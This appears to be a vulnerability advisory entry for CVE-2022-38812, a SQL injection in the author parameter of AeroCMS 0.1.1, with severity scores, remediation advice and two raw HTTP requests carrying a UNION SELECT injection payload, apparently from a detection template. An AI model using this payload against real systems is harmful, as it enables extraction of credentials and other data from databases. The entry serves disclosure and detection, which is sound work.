| Title | AeroCMS 0.1.1 - SQL Injection |
|---|---|
| Author | shivampand3y |
| Severity | Medium |
| Impact | Authenticated attackers can exploit SQL injection in the author parameter to extract sensitive database information including user credentials, content data, and application configuration from the AeroCMS database. |
| Remediation | Update AeroCMS to a version newer than 0.1.1 that properly sanitizes the author parameter and uses parameterized queries. |
| CVSS Score | 6.5 |
| EPSS Score | 0.14202 |
| CVE ID | CVE-2022-38812 |
| CWE ID | CWE-89 |
| Tags | cve cve2022 aero cms sqli edb vuln |
AeroCMS 0.1.1 contains a SQL injection caused by unsanitized author parameter, letting attackers execute arbitrary SQL commands, exploit requires crafted author input.
GET /author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(3797),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(3797),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38812.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-38812.pcap
N/AN/A